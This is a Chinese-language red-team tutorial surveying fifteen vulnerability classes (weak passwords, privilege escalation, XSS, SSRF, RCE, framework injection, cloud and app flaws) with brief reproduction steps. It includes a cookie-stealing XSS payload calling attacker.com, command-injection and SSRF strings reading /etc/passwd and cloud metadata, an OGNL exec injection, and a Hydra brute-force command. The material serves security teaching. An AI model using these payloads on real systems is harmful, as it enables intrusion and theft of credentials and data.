红队攻防实践:15大漏洞原理与复现全解析
01. 红队信息收集
原理:信息收集是渗透测试的第一步,目标是尽可能多地获取目标系统的暴露面信息。
方法:
- 子域名枚举:使用工具(如
subfinder
、Amass
)或在线服务(如Censys、Shodan)扫描目标域名。 - 端口扫描:通过
Nmap
探测开放端口,识别服务类型(如SSH、HTTP、数据库)。 - 目录爆破:使用
Dirsearch
或Gobuster
扫描敏感路径(如/admin
、/backup
)。 - 关联资产挖掘:利用证书透明度(CT Log)、GitHub代码仓库、历史快照(Wayback Machine)查找关联资产。
复现示例:
nmap -sV -p 1-65535 target.com
dirsearch -u https://target.com -e php,asp
02. 弱口令攻击
原理:利用默认密码、简单组合(如admin/admin123
)或字典中的常见密码进行爆破。
种类:
- HTTP表单爆破:使用
Burp Suite
或Hydra
攻击登录接口。 - 服务协议爆破:针对SSH、RDP、FTP等服务(如
Hydra -l admin -P pass.txt ssh://target
)。 - 默认凭证利用:如Tomcat的
admin:admin
、Jenkins的admin:password
。
防御:强制复杂密码、多因素认证(MFA)、账户锁定机制。
03. 并发漏洞
原理:资源竞争条件下,多个请求同时修改共享数据导致逻辑错误。
案例:
- 余额篡改:并发请求充值接口,绕过余额校验。
- 抢购漏洞:通过高并发请求绕过库存限制。
复现方法:
使用Python多线程或工具(如JMeter
)模拟并发请求,观察业务逻辑是否异常。
04. 越权漏洞
种类:
- 水平越权:访问同权限用户的资源(如修改URL中的用户ID获取他人订单)。
- 垂直越权:低权限用户执行高权限操作(如普通用户访问管理员接口)。
复现:
- 拦截请求,修改参数(如
user_id=1001
→user_id=1002
)。 - 直接调用高权限API端点(如
/admin/deleteUser
)。
05. CORS & XSS
CORS漏洞:
- 原理:跨域策略配置不当(如
Access-Control-Allow-Origin: *
),允许恶意站点窃取数据。 - 利用:构造恶意页面发送跨域请求,窃取用户Cookie。
XSS漏洞:
- 反射型:通过URL参数注入脚本(如
<script>alert(1)</script>
)。 - 存储型:持久化脚本到数据库(如论坛评论)。
- DOM型:前端JavaScript动态解析导致执行。
复现:
<!-- 反射型示例 -->
https://target.com/search?q=<script>fetch('http://attacker.com?cookie='+document.cookie)</script>
06. 未授权访问 & Fuzz测试
未授权访问:
- 案例:Elasticsearch未授权访问(端口9200)、Redis未授权写SSH公钥。
- 复现:直接访问
http://target:9200/_cat/indices
查看数据。
Fuzz测试:
- 工具:
wfuzz
、ffuf
。 - 方法:模糊测试API参数、文件路径、请求头,寻找异常响应(如500错误)。
07. 验证码 & 逻辑漏洞
验证码绕过:
- OCR识别:使用工具(如Tesseract)自动识别图形验证码。
- 接口重放:重复使用同一验证码Token。
逻辑漏洞:
- 支付漏洞:修改订单金额为负数或0.01元。
- 密码重置绕过:篡改手机号或邮箱参数(如
?email=attacker@xxx.com
)。
08. SSRF & RCE
SSRF:
- 原理:利用服务端发起内部请求(如读取本地文件
file:///etc/passwd
)。 - 复现:构造URL参数
?url=http://169.254.169.254
(云元数据)。
RCE:
- 命令注入:
; cat /etc/passwd
追加到系统命令。 - 反序列化:利用Java/PHP反序列化链执行代码(如
ysoserial
工具)。
09. CSRF & 蠕虫
CSRF:
- 原理:诱骗用户点击恶意链接,以用户身份执行操作(如转账)。
- PoC:构造自动提交表单的HTML页面。
蠕虫传播:
- 案例:社交平台XSS蠕虫,利用用户关系链自动扩散。
10. 框架漏洞
常见漏洞:
- Struts2:OGNL表达式注入(如S2-045)。
- Spring:SpEL表达式执行(CVE-2022-22965)。
复现:
curl -X POST 'http://target.com/login' --data 'name=${@java.lang.Runtime@getRuntime().exec("id")}'
11. 云安全
攻击面:
- 存储桶泄露:配置为公共读写的AWS S3桶。
- IAM权限过宽:允许
*:*
策略的云账号。
工具:CloudBrute
、PACU
(AWS渗透框架)。
12. 小程序 & APP漏洞
常见问题:
- 硬编码密钥:APK反编译发现API密钥。
- SSL Pinning绕过:使用
Frida
工具劫持HTTPS流量。
工具:Jadx
、Burp Suite
、MobSF
。
13. CNVD & EDU-SRC
漏洞提交:
- CNVD:国家漏洞平台,需提供完整复现步骤和影响证明。
- EDU-SRC:教育行业漏洞报告,重点关注学工系统、校园APP。
14. 公益SRC & 威胁情报
公益SRC:
- 意义:帮助非盈利机构修复漏洞,提升社会安全水位。
威胁情报:
- 应用:通过IOC(IP、域名、哈希)追踪攻击者活动。
- 工具:
MISP
、VirusTotal
。
15. 综合实战建议
- 自动化扫描:使用
Nessus
、AWVS
覆盖基础漏洞。 - 手工深度测试:针对业务逻辑漏洞(如越权、并发)。
- 漏洞利用链:结合SSRF+RCE实现内网穿透。
防御体系:
- WAF拦截常见攻击(如SQLi、XSS)。
- 定期红蓝对抗演练,修复短板。
通过掌握上述漏洞原理与复现方法,可系统性提升攻防能力。实际场景中需遵循合法授权原则,避免法律风险。